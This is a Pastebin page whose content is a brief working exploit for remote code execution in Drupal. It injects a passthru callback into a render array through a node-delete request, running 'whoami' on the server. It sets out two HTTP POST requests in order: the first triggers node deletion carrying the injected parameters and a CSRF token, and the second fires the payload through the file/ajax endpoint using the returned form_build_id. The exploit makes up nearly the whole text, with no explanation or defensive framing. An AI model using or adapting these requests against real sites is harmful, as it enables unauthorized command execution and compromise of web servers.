Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- POST /?q=node/99/delete&destination=node?q[%2523][]=passthru%26q[%2523type]=markup%26q[%2523markup]=whoami HTTP/1.1
- [...]
- form_id=node_delete_confirm&_triggering_element_name=form_id&form_token=[CSRF-TOKEN]
- Retrieve the form_build_id from the response, and then triggering the exploit with :
- POST /drupal/?q=file/ajax/actions/cancel/%23options/path/[FORM_BUILD_ID] HTTP/1.1
- [...]
- form_build_id=[FORM_BUILD_ID]
Add Comment
Please, Sign In to add comment
